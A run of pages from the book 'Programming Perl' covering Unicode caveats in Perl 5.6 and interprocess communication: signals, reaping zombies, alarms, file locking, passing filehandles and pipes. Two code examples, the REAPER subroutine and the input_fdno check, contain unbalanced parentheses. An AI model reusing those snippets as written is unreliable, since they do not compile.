If you look in directory PATH_TO_PERLLIB/unicode, you'll find a number of files that have to do with defining the semantics above. The Unicode properties database from the Unicode Consortium is in a file called Unicode.300 (for Unicode 3.0). This file has already been processed by mktables.PL into lots of little .pl files in the same directory (and in subdirectories Is/, In/, and To/), some of which are automatically slurped in by Perl to implement things like \p (see the Is/ and In/ directories) and uc (see the To/ directory). Other files are slurped in by modules like the use charnames pragma (see Name.pl). But as of this writing, there are still a number of files that are just sitting there waiting for you to write an access module for them:

ArabLink.pl
ArabLnkGrp.pl
Bidirectional.pl
Block.pl
Category.pl
CombiningClass.pl
Decomposition.pl
JamoShort.pl
Number.pl
To/Digit.pl
A much more readable summary of Unicode, with many hyperlinks, is in PATH_TO_PERLLIB/unicode/Unicode3.html.

Note that when the Unicode consortium comes out with a new version, some of these filenames are likely to change, so you'll have to poke around. You can find PATH_TO_PERLLIB with the following incantation:

% perl -MConfig -le 'print $Config{privlib}'
To find out just about everything there is to find out about Unicode, you should check out The Unicode Standard, Version 3.0 (ISBN 0-201-61633-5).

Previous | Home | Next
15.1. Building Character | Book Index | 15.3. Caution, [image] Working
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Unicode (Programming Perl)

 Programming PerlSearch this book

15.3. Caution, Working

As of this writing (that is, with respect to version 5.6.0 of Perl), there are still some caveats on use of Unicode. (Check your online docs for updates.)

  • The existing regular expression compiler does not produce polymorphic opcodes. This means that the determination of whether a particular pattern will match Unicode characters is made when the pattern is compiled (based on whether the pattern contains Unicode characters) and not when the matching happens at run time. This needs to be changed to adaptively match Unicode if the string to be matched is Unicode.

  • There is currently no easy way to mark data read from a file or other external source as being utf8. This will be a major area of focus in the near future and is probably already fixed as you read this.

  • There is no method for automatically coercing input and output to some encoding other than UTF-8. This is planned in the near future, however, so check your online docs.

  • Use of locales with utf8 may lead to odd results. Currently, there is some attempt to apply 8-bit locale information to characters in the range 0..255, but this is demonstrably incorrect for locales that use characters above that range (when mapped into Unicode). It will also tend to run slower. Avoidance of locales is strongly encouraged.

Unicode is fun--you just have to define fun correctly.

Previous | Home | Next
15.2. Effects of Character Semantics | Book Index | 16. Interprocess Communication
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Interprocess Communication (Programming Perl)

 Book Home Programming PerlSearch this book

Chapter 16. Interprocess Communication

Contents:

Signals
Files
Pipes
System V IPC
Sockets

Computer processes have almost as many ways of communicating as people do. The difficulties of interprocess communication should not be underestimated. It doesn't do you any good to listen for verbal cues when your friend is using only body language. Likewise, two processes can communicate only when they agree on the means of communication, and on the conventions built on top of that. As with any kind of communication, the conventions to be agreed upon range from lexical to pragmatic: everything from which lingo you'll use, up to whose turn it is to talk. These conventions are necessary because it's very difficult to communicate bare semantics in the absence of context.

In our lingo, interprocess communication is usually pronounced IPC. The IPC facilities of Perl range from the very simple to the very complex. Which facility you should use depends on the complexity of the information to be communicated. The simplest kind of information is almost no information at all: just the awareness that a particular event has happened at a particular point in time. In Perl, these events are communicated via a signal mechanism modeled on the Unix signal system.

At the other extreme, the socket facilities of Perl allow you to communicate with any other process on the Internet using any mutually supported protocol you like. Naturally, this freedom comes at a price: you have to go through a number of steps to set up the connections and make sure you're talking the same language as the process on the other end. This may in turn require you to adhere to any number of other strange customs, depending on local conventions. To be protocoligorically correct, you might even be required to speak a language like XML, or Java, or Perl. Horrors.

Sandwiched in between are some facilities intended primarily for communicating with processes on the same machine. These include good old-fashioned files, pipes, FIFOs, and the various System V IPC syscalls. Support for these facilities varies across platforms; modern Unix systems (including Apple's Mac OS X) should support all of them, and, except for signals and SysV IPC, most of the rest are supported on any recent Microsoft operating systems, including pipes, forking, file locking, and sockets.[1]

[1] Well, except for AF_UNIX sockets.

More information about porting in general can be found in the standard Perl documentation set (in whatever format your system displays it) under perlport. Microsoft-specific information can be found under perlwin32 and perlfork, which are installed even on non-Microsoft systems. For textbooks, we suggest the following:

  • The Perl Cookbook, by Tom Christiansen and Nathan Torkington (O'Reilly and Associates, 1998), chapters 16 through 18.

  • Advanced Programming in the UNIX Environment, by W. Richard Stevens (Addison-Wesley, 1992).

  • TCP/IP Illustrated, by W. Richard Stevens, Volumes I-III (Addison-Wesley, 1992-1996).

16.1. Signals

Perl uses a simple signal-handling model: the %SIG hash contains references (either symbolic or hard) to user-defined signal handlers. Certain events cause the operating system to deliver a signal to the affected process. The handler corresponding to that event is called with one argument containing the name of the signal that triggered it. To send a signal to another process, you use the kill function. Think of it as sending a one-bit piece of information to the other process.[2] If that process has installed a signal handler for that signal, it can execute code when it receives the signal. But there's no way for the sending process to get any sort of return value, other than knowing that the signal was legally sent. The sender receives no feedback saying what, if anything, the receiving process did with the signal.

[2] Actually, it's more like five or six bits, depending on how many signals your OS defines and on whether the other process makes use of the fact that you didn't send a different signal.

We've classified this facility as a form of IPC, but in fact, signals can come from various sources, not just other processes. A signal might also come from your own process, or it might be generated when the user at the keyboard types a particular sequence like Control-C or Control-Z, or it might be manufactured by the kernel when a special event transpires, such as when a child process exits, or when your process runs out of stack space or hits a file size or memory limit. But your own process can't easily distinguish among these cases. A signal is like a package that arrives mysteriously on your doorstep with no return address. You'd best open it carefully.

Since entries in the %SIG array can be hard references, it's common practice to use anonymous functions for simple signal handlers:

$SIG{INT}  = sub { die "\nOutta here!\n" };
$SIG{ALRM} = sub { die "Your alarm clock went off" };
Or you could create a named function and assign its name or reference to the appropriate slot in the hash. For example, to intercept interrupt and quit signals (often bound to Control-C and Control-\ on your keyboard), set up a handler like this:
sub catch_zap {
    my $signame = shift;
    our $shucks++;
    die "Somebody sent me a SIG$signame!";
}
$shucks = 0;
$SIG{INT} = 'catch_zap';   # always means &main::catch_zap
$SIG{INT} = \&catch_zap;   # best strategy
$SIG{QUIT} = \&catch_zap;  # catch another, too
Notice how all we do in the signal handler is set a global variable and then raise an exception with die. Whenever possible, try to avoid anything more complicated than that, because on most systems the C library is not re-entrant. Signals are delivered asynchronously,[3] so calling any print functions (or even anything that needs to malloc(3) more memory) could in theory trigger a memory fault and subsequent core dump if you were already in a related C library routine when the signal was delivered. (Even the die routine is a bit unsafe unless the process is executing within an eval, which suppresses the I/O from die, which keeps it from calling the C library. Probably.)

[3]Synchronizing signal delivery with Perl-level opcodes is scheduled for a future release of Perl, which should solve the matter of signals and core dumps.

An even easier way to trap signals is to use the sigtrap pragma to install simple, default signal handlers:

use sigtrap qw(die INT QUIT);
use sigtrap qw(die untrapped normal-signals
   stack-trace any error-signals);
The pragma is useful when you don't want to bother writing your own handler, but you still want to catch dangerous signals and perform an orderly shutdown. By default, some of these signals are so fatal to your process that your program will just stop in its tracks when it receives one. Unfortunately, that means that any END functions for at-exit handling and DESTROY methods for object finalization are not called. But they are called on ordinary Perl exceptions (such as when you call die), so you can use this pragma to painlessly convert the signals into exceptions. Even though you aren't dealing with the signals yourself, your program still behaves correctly. See the description of use sigtrap in Chapter 31, "Pragmatic Modules", for many more features of this pragma.

You may also set the %SIG handler to either of the strings "IGNORE" or "DEFAULT", in which case Perl will try to discard the signal or allow the default action for that signal to occur (though some signals can be neither trapped nor ignored, such as the KILL and STOP signals; see signal(3), if you have it, for a list of signals available on your system and their default behaviors).

The operating system thinks of signals as numbers rather than names, but Perl, like most people, prefers symbolic names to magic numbers. To find the names of the signals, list out the keys of the %SIG hash, or use the kill -l command if you have one on your system. You can also use Perl's standard Config module to determine your operating system's mapping between signal names and signal numbers. See Config(3) for an example of this.

Because %SIG is a global hash, assignments to it affect your entire program. It's often more considerate to the rest of your program to confine your signal catching to a restricted scope. Do this with a local signal handler assignment, which goes out of effect once the enclosing block is exited. (But remember that local values are visible in functions called from within that block.)

{
    local $SIG{INT} = 'IGNORE';
    ...     # Do whatever you want here, ignoring all SIGINTs.
    fn();   # SIGINTs ignored inside fn() too!
    ...     # And here.
}           # Block exit restores previous $SIG{INT} value.

fn();       # SIGINTs not ignored inside fn() (presumably).

16.1.1. Signaling Process Groups

Processes (under Unix, at least) are organized into process groups, generally corresponding to an entire job. For example, when you fire off a single shell command that consists of a series of filter commands that pipe data from one to the other, those processes (and their child processes) all belong to the same process group. That process group has a number corresponding to the process number of the process group leader. If you send a signal to a positive process number, it just sends the signal to the process, but if you send a signal to a negative number, it sends that signal to every process whose process group number is the corresponding positive number, that is, the process number of the process group leader. (Conveniently for the process group leader, the process group ID is just $$.)

Suppose your program wants to send a hang-up signal to all child processes it started directly, plus any grandchildren started by those children, plus any greatgrandchildren started by those grandchildren, and so on. To do this, your program first calls setpgrp(0,0) to become the leader of a new process group, and any processes it creates will be part of the new group. It doesn't matter whether these processes were started manually via fork, automaticaly via piped opens, or as backgrounded jobs with system("cmd &"). Even if those processes had children of their own, sending a hang-up signal to your entire process group will find them all (except for processes that have set their own process group or changed their UID to give themselves diplomatic immunity to your signals).

{
    local $SIG{HUP} = 'IGNORE';   # exempt myself
    kill(HUP, -$$);               # signal my own process group
}

Another interesting signal is signal number 0. This doesn't actually affect the target process, but instead checks that it's alive and hasn't changed its UID. That is, it checks whether it's legal to send a signal, without actually sending one.

unless (kill 0 => $kid_pid) {
    warn "something wicked happened to $kid_pid";
}
Signal number 0 is the only signal that works the same under Microsoft ports of Perl as it does in Unix. On Microsoft systems, kill does not actually deliver a signal. Instead, it forces the target process to exit with the status indicated by the signal number. This may be fixed someday. The magic 0 signal, however, still behaves in the standard, nondestructive fashion.

16.1.2. Reaping Zombies

When a process exits, its parent is sent a CHLD signal by the kernel and the process becomes a zombie[4] until the parent calls wait or waitpid. If you start another process in Perl using anything except fork, Perl takes care of reaping your zombied children, but if you use a raw fork, you're expected to clean up after yourself. On many but not all kernels, a simple hack for autoreaping zombies is to set $SIG{CHLD} to 'IGNORE'. A more flexible (but tedious) approach is to reap them yourself. Because more than one child may have died before you get around to dealing with them, you must gather your zombies in a loop until there aren't any more:

use POSIX ":sys_wait_h";
sub REAPER { 1 until waitpid(-1, WNOHANG) == -1) }
To run this code as needed, you can either set a CHLD signal handler for it:
$SIG{CHLD} = \&REAPER;
or, if you're running in a loop, just arrange to call the reaper every so often. This is the best approach because it isn't subject to the occasional core dump that signals can sometimes trigger in the C library. However, it's expensive if called in a tight loop, so a reasonable compromise is to use a hybrid strategy where you minimize the risk within the handler by doing as little as possible and waiting until outside to reap zombies:
our $zombies = 0;
$SIG{CHLD} = sub { $zombies++ };
sub reaper {
    my $zombie;
    our %Kid_Status;  # store each exit status
    $zombies = 0;
    while (($zombie = waitpid(-1, WNOHANG)) != -1) {
        $Kid_Status{$zombie} = $?;
    }
}
while (1) {
    reaper() if $zombies;
    ...
}
This code assumes your kernel supports reliable signals. Old SysV traditionally didn't, which made it impossible to write correct signal handlers there. Ever since way back in the 5.003 release, Perl has used the sigaction(2) syscall where available, which is a lot more dependable. This means that unless you're running on an ancient operating system or with an ancient Perl, you won't have to reinstall your handlers and risk missing signals. Fortunately, all BSD-flavored systems (including Linux, Solaris, and Mac OS X) plus all POSIX-compliant systems provide reliable signals, so the old broken SysV behavior is more a matter of historical note than of current concern.

[4]Yes, that really is the technical term.

With these newer kernels, many other things will work better, too. For example, "slow" syscalls (those that can block, like read, wait, and accept) will restart automatically if interrupted by a signal. In the bad old days, user code had to remember to check explicitly whether each slow syscall failed with $! ($ERRNO) set to EINTR and, if so, restart. This wouldn't happen just from INT signals; even innocuous signals like TSTP (from a Control-Z) or CONT (from foregrounding the job) would abort the syscall. Perl now restarts the syscall for you automatically if the operating system allows it to. This is generally construed to be a feature.

You can check whether you have the more rigorous POSIX-style signal behavior by loading the Config module and checking whether $Config{d_sigaction} has a true value. To find out whether slow syscalls are restartable, check your system documentation on sigaction(2) or sigvec(3), or scrounge around your C sys/signal.h file for SV_INTERRUPT or SA_RESTART. If one or both symbols are found, you probably have restartable syscalls.

16.1.3. Timing Out Slow Operations

A common use for signals is to impose time limits on long-running operations. If you're on a Unix system (or any other POSIX-conforming system that supports the ALRM signal), you can ask the kernel to send your process an ALRM at some point in the future:

use Fcntl ':flock';
eval {
    local $SIG{ALRM} = sub { die "alarm clock restart" };
    alarm 10;               # schedule alarm in 10 seconds
    eval {
        flock(FH, LOCK_EX)  # a blocking, exclusive lock
            or die "can't flock: $!";
    };
    alarm 0;                # cancel the alarm
};
alarm 0;               # race condition protection
die if $@ && $@ !~ /alarm clock restart/; # reraise
If the alarm hits while you're waiting for the lock, and you simply catch the signal and return, you'll go right back into the flock because Perl automatically restarts syscalls where it can. The only way out is to raise an exception through die and then let eval catch it. (This works because the exception winds up calling the C library's longjmp(3) function, which is what really gets you out of the restarting syscall.)

The nested exception trap is included because calling flock would raise an exception if flock is not implemented on your platform, and you need to make sure to clear the alarm anyway. The second alarm 0 is provided in case the signal comes in after running the flock but before getting to the first alarm 0. Without the second alarm, you would risk a tiny race condition--but size doesn't matter in race conditions; they either exist or they don't. And we prefer that they don't.

16.1.4. Blocking Signals

Now and then, you'd like to delay receipt of a signal during some critical section of code. You don't want to blindly ignore the signal, but what you're doing is too important to interrupt. Perl's %SIG hash doesn't implement signal blocking, but the POSIX module does, through its interface to the sigprocmask(2) syscall:

use POSIX qw(:signal_h);
$sigset   = POSIX::SigSet->new;
$blockset = POSIX::SigSet->new(SIGINT, SIGQUIT, SIGCHLD);
sigprocmask(SIG_BLOCK, $blockset, $sigset)
    or die "Could not block INT,QUIT,CHLD signals: $!\n";
Once the three signals are all blocked, you can do whatever you want without fear of being bothered. When you're done with your critical section, unblock the signals by restoring the old signal mask:
sigprocmask(SIG_SETMASK, $sigset)
    or die "Could not restore INT,QUIT,CHLD signals: $!\n";
If any of the three signals came in while blocked, they are delivered immediately. If two or more different signals are pending, the order of delivery is not defined. Additionally, no distinction is made between having received a particular signal once while blocked and having received it many times.[5] For example, if nine child processes exited while you were blocking CHLD signals, your handler (if you had one) would still be called only once after you unblocked. That's why, when you reap zombies, you should always loop until they're all gone.

[5] Traditionally, that is. Countable signals may be implemented on some real-time systems according to the latest specs, but we haven't seen these yet.

Previous | Home | Next
15.3. Caution, [image] Working | Book Index | 16.2. Files
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Files (Programming Perl)

 Book Home Programming PerlSearch this book

16.2. Files

Perhaps you've never thought about files as an IPC mechanism before, but they shoulder the lion's share of interprocess communication--far more than all other means combined. When one process deposits its precious data in a file and another process later retrieves that data, those processes have communicated. Files offer something unique among all forms of IPC covered here: like a papyrus scroll unearthed after millennia buried in the desert, a file can be unearthed and read long after its writer's personal end.[6] Factoring in persistence with comparative ease of use, it's no wonder that files remain popular.

[6] Presuming that a process can have a personal end.

Using files to transmit information from the dead past to some unknown future poses few surprises. You write the file to some permanent medium like a disk, and that's about it. (You might tell a web server where to find it, if it contains HTML.) The interesting challenge is when all parties are still alive and trying to communicate with one another. Without some agreement about whose turn it is to have their say, reliable communication is impossible; agreement may be achieved through file locking, which is covered in the next section. In the section after that, we discuss the special relationship that exists between a parent process and its children, which allows related parties to exchange information through inherited access to the same files.

Files certainly have their limitations when it comes to things like remote access, synchronization, reliability, and session management. Other sections of the chapter cover various IPC mechanisms invented to address such limitations.

16.2.1. File Locking

In a multitasking environment, you need to be careful not to collide with other processes that are trying to use the same file you're using. As long as all processes are just reading, there's no problem, but as soon as even one process needs to write to the file, complete chaos ensues unless some sort of locking mechanism acts as traffic cop.

Never use the mere existence of a filename (that is, -e $file) as a locking indication, because a race condition exists between the test for existence of that filename and whatever you plan to do with it (like create it, open it, or unlink it). See the section Section 16.2.2, "Handling Race Conditions" in Chapter 23, "Security", for more about this.

Perl's portable locking interface is the flock(HANDLE,FLAGS) function, described in Chapter 29, "Functions". Perl maximizes portability by using only the simplest and most widespread locking features found on the broadest range of platforms. These semantics are simple enough that they can be emulated on most systems, including those that don't support the traditional syscall of that name, such as System V or Windows NT. (If you're running a Microsoft system earlier than NT, though, you're probably out of luck, as you would be if you're running a system from Apple before Mac OS X.)

Locks come in two varieties: shared (the LOCK_SH flag) and exclusive (the LOCK_EX flag). Despite the suggestive sound of "exclusive", processes aren't required to obey locks on files. That is, flock only implements advisory locking, which means that locking a file does not stop another process from reading or even writing the file. Requesting an exclusive lock is just a way for a process to let the operating system suspend it until all current lockers, whether shared or exclusive, are finished with it. Similarly, when a process asks for a shared lock, it is just suspending itself until there is no exclusive locker. Only when all parties use the file-locking mechanism can a contended file be accessed safely.

Therefore, flock is a blocking operation by default. That is, if you can't get the lock you want immediately, the operating system suspends your process till you can. Here's how to get a blocking, shared lock, typically used for reading a file:

use Fcntl qw(:DEFAULT :flock);
open(FH, "< filename")  or die "can't open filename: $!";
flock(FH, LOCK_SH)      or die "can't lock filename: $!";
# now read from FH
You can try to acquire a lock in a nonblocking fashion by including the LOCK_NB flag in the flock request. If you can't be given the lock right away, the function fails and immediately returns false. Here's an example:
flock(FH, LOCK_SH | LOCK_NB)
    or die "can't lock filename: $!";
You may wish to do something besides raising an exception as we did here, but you certainly don't dare do any I/O on the file. If you are refused a lock, you shouldn't access the file until you can get the lock. Who knows what scrambled state you might find the file in? The main purpose of the nonblocking mode is to let you go off and do something else while you wait. But it can also be useful for producing friendlier interactions by warning users that it might take a while to get the lock, so they don't feel abandoned:
use Fcntl qw(:DEFAULT :flock);
open(FH, "< filename")  or die "can't open filename: $!";
unless (flock(FH, LOCK_SH | LOCK_NB)) {
    local $| = 1;
    print "Waiting for lock on filename...";
    flock(FH, LOCK_SH)  or die "can't lock filename: $!";
    print "got it.\n"
}
# now read from FH
Some people will be tempted to put that nonblocking lock into a loop. The main problem with nonblocking mode is that, by the time you get back to checking again, someone else may have grabbed the lock because you abandoned your place in line. Sometimes you just have to get in line and wait. If you're lucky there will be some magazines to read.

Locks are on filehandles, not on filenames.[7] When you close the file, the lock dissolves automatically, whether you close the file explicitly by calling close or implicitly by reopening the handle or by exiting your process.

[7] Actually, locks aren't on filehandles--they're on the file descriptors associated with the filehandles since the operating system doesn't know about filehandles. That means that all our die messages about failing to get a lock on filenames are technically inaccurate. But error messages of the form "I can't get a lock on the file represented by the file descriptor associated with the filehandle originally opened to the path filename, although by now filename may represent a different file entirely than our handle does" would just confuse the user (not to mention the reader).

To get an exclusive lock, typically used for writing, you have to be more careful. You cannot use a regular open for this; if you use an open mode of <, it will fail on files that don't exist yet, and if you use >, it will clobber any files that do. Instead, use sysopen on the file so it can be locked before getting overwritten. Once you've safely opened the file for writing but haven't yet touched it, successfully acquire the exclusive lock and only then truncate the file. Now you may overwrite it with the new data.

use Fcntl qw(:DEFAULT :flock);
sysopen(FH, "filename", O_WRONLY | O_CREAT)
    or die "can't open filename: $!";
flock(FH, LOCK_EX)
    or die "can't lock filename: $!";
truncate(FH, 0)
    or die "can't truncate filename: $!";
# now write to FH
If you want to modify the contents of a file in place, use sysopen again. This time you ask for both read and write access, creating the file if needed. Once the file is opened, but before you've done any reading or writing, get the exclusive lock and keep it around your entire transaction. It's often best to release the lock by closing the file because that guarantees all buffers are written before the lock is released.

An update involves reading in old values and writing out new ones. You must do both operations under a single exclusive lock, lest another process read the (imminently incorrect) value after (or even before) you do, but before you write. (We'll revisit this situation when we cover shared memory later in this chapter.)

use Fcntl qw(:DEFAULT :flock);

sysopen(FH, "counterfile", O_RDWR | O_CREAT)
    or die "can't open counterfile: $!";
flock(FH, LOCK_EX)
    or die "can't write-lock counterfile: $!";
$counter = <FH> || 0;  # first time would be undef
seek(FH, 0, 0)
    or die "can't rewind counterfile : $!";
print FH $counter+1, "\n"
    or die "can't write counterfile: $!";

# next line technically superfluous in this program, but
# a good idea in the general case
truncate(FH, tell(FH))
    or die "can't truncate counterfile: $!";
close(FH)
    or die "can't close counterfile: $!";
You can't lock a file you haven't opened yet, and you can't have a single lock that applies to more than one file. What you can do, though, is use a completely separate file to act as a sort of semaphore, like a traffic light, to provide controlled access to something else through regular shared and exclusive locks on the semaphore file. This approach has several advantages. You can have one lockfile that controls access to multiple files, avoiding the kind of deadlock that occurs when one process tries to lock those files in one order while another process is trying to lock them in a different order. You can use a semaphore file to lock an entire directory of files. You can even control access to something that's not even in the filesystem, like a shared memory object or the socket upon which several preforked servers would like to call accept.

If you have a DBM file that doesn't provide its own explicit locking mechanism, an auxiliary lockfile is the best way to control concurrent access by multiple agents. Otherwise, your DBM library's internal caching can get out of sync with the file on disk. Before calling dbmopen or tie, open and lock the semaphore file. If you open the database with O_RDONLY, you'll want to use LOCK_SH for the lock. Otherwise, use LOCK_EX for exclusive access to updating the database. (Again, this only works if all participants agree to pay attention to the semaphore.)

use Fcntl qw(:DEFAULT :flock);
use DB_File;  # demo purposes only; any db is fine

$DBNAME  = "/path/to/database";
$LCK     = $DBNAME . ".lockfile";

# use O_RDWR if you expect to put data in the lockfile
sysopen(DBLOCK, $LCK, O_RDONLY | O_CREAT)
    or die "can't open $LCK: $!";

# must get lock before opening database
flock(DBLOCK, LOCK_SH)
    or die "can't LOCK_SH $LCK: $!";

tie(%hash, "DB_File", $DBNAME, O_RDWR | O_CREAT)
    or die "can't tie $DBNAME: $!";
Now you can safely do whatever you'd like with the tied %hash. When you're done with your database, make sure you explicitly release those resources, and in the opposite order that you acquired them:
untie %hash;    # must close database before lockfile
close DBLOCK;   # safe to let go of lock now
If you have the GNU DBM library installed, you can use the standard GDBM_File module's implicit locking. Unless the initial tie contains the GDBM_NOLOCK flag, the library makes sure that only one writer may open a GDBM file at a time, and that readers and writers do not have the database open at the same time.

16.2.2. Passing Filehandles

Whenever you create a child process using fork, that new process inherits all its parent's open filehandles. Using filehandles for interprocess communication is easiest to illustrate by using plain files first. Understanding how this works is essential for mastering the fancier mechanisms of pipes and sockets described later in this chapter.

The simplest example opens a file and starts up a child process. The child then uses the filehandle already opened for it:

open(INPUT, "< /etc/motd")      or die "/etc/motd: $!";
if ($pid = fork) { waitpid($pid,0) }
else {
    defined($pid)         or die "fork: $!";
    while (<INPUT>) { print "$.: $_" }
    exit;  # don't let child fall back into main code
}
# INPUT handle now at EOF in parent
Once access to a file has been granted by open, it stays granted until the filehandle is closed; changes to the file's permissions or to the owner's access privileges have no effect on accessibility. Even if the process later alters its user or group IDs, or the file has its ownership changed to a different user or group, that doesn't affect filehandles that are already open. Programs running under increased permissions (like set-id programs or systems daemons) often open a file under their increased rights and then hand off the filehandle to a child process that could not have opened the file on its own.

Although this feature is of great convenience when used intentionally, it can also create security issues if filehandles accidentally leak from one program to the next. To avoid granting implicit access to all possible filehandles, Perl automatically closes any filehandles it has opened (including pipes and sockets) whenever you explicitly exec a new program or implicitly execute one through a call to a piped open, system, or qx// (backticks). The system filehandles STDIN, STDOUT, and STDERR are exempt from this because their main purpose is to provide communications linkage between programs. So one way of passing a filehandle to a new program is to copy the filehandle to one of the standard filehandles:

open(INPUT, "< /etc/motd")      or die "/etc/motd: $!";
if ($pid = fork) { wait }
else {
    defined($pid)               or die "fork: $!";
    open(STDIN, "<&INPUT")      or die "dup: $!";
    exec("cat", "-n")           or die "exec cat: $!";
}
If you really want the new program to gain access to a filehandle other than these three, you can, but you have to do one of two things. When Perl opens a new file (or pipe or socket), it checks the current setting of the $^F ($SYSTEM_FD_MAX) variable. If the numeric file descriptor used by that new filehandle is greater than $^F, the descriptor is marked as one to close. Otherwise, Perl leaves it alone, and new programs you exec will inherit access.

It's not always easy to predict what file descriptor your newly opened filehandle will have, but you can temporarily set your maximum system file descriptor to some outrageously high number for the duration of the open:

# open file and mark INPUT to be left open across execs
{
    local $^F = 10_000;
    open(INPUT, "< /etc/motd")   or die "/etc/motd: $!";
} # old value of $^F restored on scope exit
Now all you have to do is get the new program to pay attention to the descriptor number of the filehandle you just opened. The cleanest solution (on systems that support this) is to pass a special filename that equates to a file descriptor. If your system has a directory called /dev/fd or /proc/$$/fd containing files numbered from 0 through the maximum number of supported descriptors, you can probably use this strategy. (Many Linux operating systems have both, but only the /proc version tends to be correctly populated. BSD and Solaris prefer /dev/fd. You'll have to poke around at your system to see which looks better for you.) First, open and mark your filehandle as one to be left open across execs as shown in the previous code, then fork like this:
if ($pid = fork) { wait }
else {
    defined($pid)                or die "fork: $!";
    $fdfile = "/dev/fd/" . fileno(INPUT);
    exec("cat", "-n", $fdfile)   or die "exec cat: $!";
}
If your system supports the fcntl syscall, you may diddle the filehandle's close-on-exec flag manually. This is convenient for those times when you didn't realize back when you created the filehandle that you would want to share it with your children.
use Fcntl qw/F_SETFD/;

fcntl(INPUT, F_SETFD, 0)
    or die "Can't clear close-on-exec flag on INPUT: $!\n";
You can also force a filehandle to close:
fcntl(INPUT, F_SETFD, 1)
    or die "Can't set close-on-exec flag on INPUT: $!\n";
You can also query the current status:
use Fcntl qw/F_SETFD F_GETFD/;

printf("INPUT will be %s across execs\n",
    fcntl(INPUT, F_GETFD, 1) ? "closed" : "left open");
If your system doesn't support file descriptors named in the filesystem, and you want to pass a filehandle other than STDIN, STDOUT, or STDERR, you can still do so, but you'll have to make special arrangements with that program. Common strategies for this are to pass the descriptor number through an environment variable or a command-line option.

If the executed program is in Perl, you can use open to convert a file descriptor into a filehandle. Instead of specifying a filename, use "&=" followed by the descriptor number.

if (defined($ENV{input_fdno}) && $ENV{input_fdno}) =~ /^\d$/) {
    open(INPUT, "<&=$ENV{input_fdno}")
        or die "can't fdopen $ENV{input_fdno} for input: $!";
}
It gets even easier than that if you're going to be running a Perl subroutine or program that expects a filename argument. You can use the descriptor-opening feature of Perl's regular open function (but not sysopen or three-argument open) to make this happen automatically. Imagine you have a simple Perl program like this:
#!/usr/bin/perl -p
# nl - number input lines
printf "%6d  ", $.;
Presuming you've arranged for the INPUT handle to stay open across execs, you can call that program this way:
$fdspec = '<&=' . fileno(INPUT);
system("nl", $fdspec);
or to catch the output:
@lines = `nl '$fdspec'`;  # single quotes protect spec from shell
Whether or not you exec another program, if you use file descriptors inherited across fork, there's one small gotcha. Unlike variables copied across a fork, which actually get duplicate but independent copies, file descriptors really are the same in both processes. If one process reads data from the handle, the seek pointer (file position) advances in the other process, too, and that data is no longer available to either process. If they take turns reading, they'll leapfrog over each other in the file. This makes intuitive sense for handles attached to serial devices, pipes, or sockets, since those tend to be read-only devices with ephemeral data. But this behavior may surprise you with disk files. If this is a problem, reopen any files that need separate tracking after the fork.

The fork operator is a concept derived from Unix, which means it might not be implemented correctly on all non-Unix/non-POSIX platforms. Notably, fork works on Microsoft systems only if you're running Perl 5.6 (or better) on Windows 98 (or later). Although fork is implemented via multiple concurrent execution streams within the same program on these systems, these aren't the sort of threads where all data is shared by default; here, only file descriptors are. See also Chapter 17, "Threads".

Previous | Home | Next
16.1. Signals | Book Index | 16.3. Pipes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Pipes (Programming Perl)

 Book Home Programming PerlSearch this book

16.3. Pipes

A pipe is a unidirectional I/O channel that can transfer a stream of bytes from one process to another. Pipes come in both named and nameless varieties. You may be more familiar with nameless pipes, so we'll talk about those first.

16.3.1. Anonymous Pipes

Perl's open function opens a pipe instead of a file when you append or prepend a pipe symbol to the second argument to open. This turns the rest of the arguments into a command, which will be interpreted as a process (or set of processes) that you want to pipe a stream of data either into or out of. Here's how to start up a child process that you intend to write to:

open SPOOLER, "| cat -v | lpr -h 2>/dev/null"
    or die "can't fork: $!";
local $SIG{PIPE} = sub { die "spooler pipe broke" };
print SPOOLER "stuff\n";
close SPOOLER or die "bad spool: $! $?";
This example actually starts up two processes, the first of which (running cat) we print to directly. The second process (running lpr) then receives the output of the first process. In shell programming, this is often called a pipeline. A pipeline can have as many processes in a row as you like, as long as the ones in the middle know how to behave like filters; that is, they read standard input and write standard output.

Perl uses your default system shell (/bin/sh on Unix) whenever a pipe command contains special characters that the shell cares about. If you're only starting one command, and you don't need--or don't want--to use the shell, you can use the multi-argument form of a piped open instead:

open SPOOLER, "|-", "lpr", "-h"    # requires 5.6.1
    or die "can't run lpr: $!";
If you reopen your program's standard output as a pipe to another program, anything you subsequently print to STDOUT will be standard input for the new program. So to page your program's output,[8] you'd use:
if (-t STDOUT) {             # only if stdout is a terminal
    my $pager = $ENV{PAGER} || 'more';
    open(STDOUT, "| $pager")    or die "can't fork a pager: $!";
}
END {
    close(STDOUT)               or die "can't close STDOUT: $!"
}
When you're writing to a filehandle connected to a pipe, always explicitly close that handle when you're done with it. That way your main program doesn't exit before its offspring.

[8]That is, let them view it one screenful at a time, not set off random bird calls.

Here's how to start up a child process that you intend to read from:

open STATUS, "netstat -an 2>/dev/null |"
    or die "can't fork: $!";
while (<STATUS>) {
    next if /^(tcp|udp)/;
    print;
}
close STATUS or die "bad netstat: $! $?";
You can open a multistage pipeline for input just as you can for output. And as before, you can avoid the shell by using an alternate form of open:
open STATUS, "-|", "netstat", "-an"      # requires 5.6.1
    or die "can't run netstat: $!";
But then you don't get I/O redirection, wildcard expansion, or multistage pipes, since Perl relies on your shell to do those.

You might have noticed that you can use backticks to accomplish the same effect as opening a pipe for reading:

print grep { !/^(tcp|udp)/ } `netstat -an 2>&1`;
die "bad netstat" if $?;
While backticks are extremely handy, they have to read the whole thing into memory at once, so it's often more efficient to open your own piped filehandle and process the file one line or record at a time. This gives you finer control over the whole operation, letting you kill off the child process early if you like. You can also be more efficient by processing the input as it's coming in, since computers can interleave various operations when two or more processes are running at the same time. (Even on a single-CPU machine, input and output operations can happen while the CPU is doing something else.)

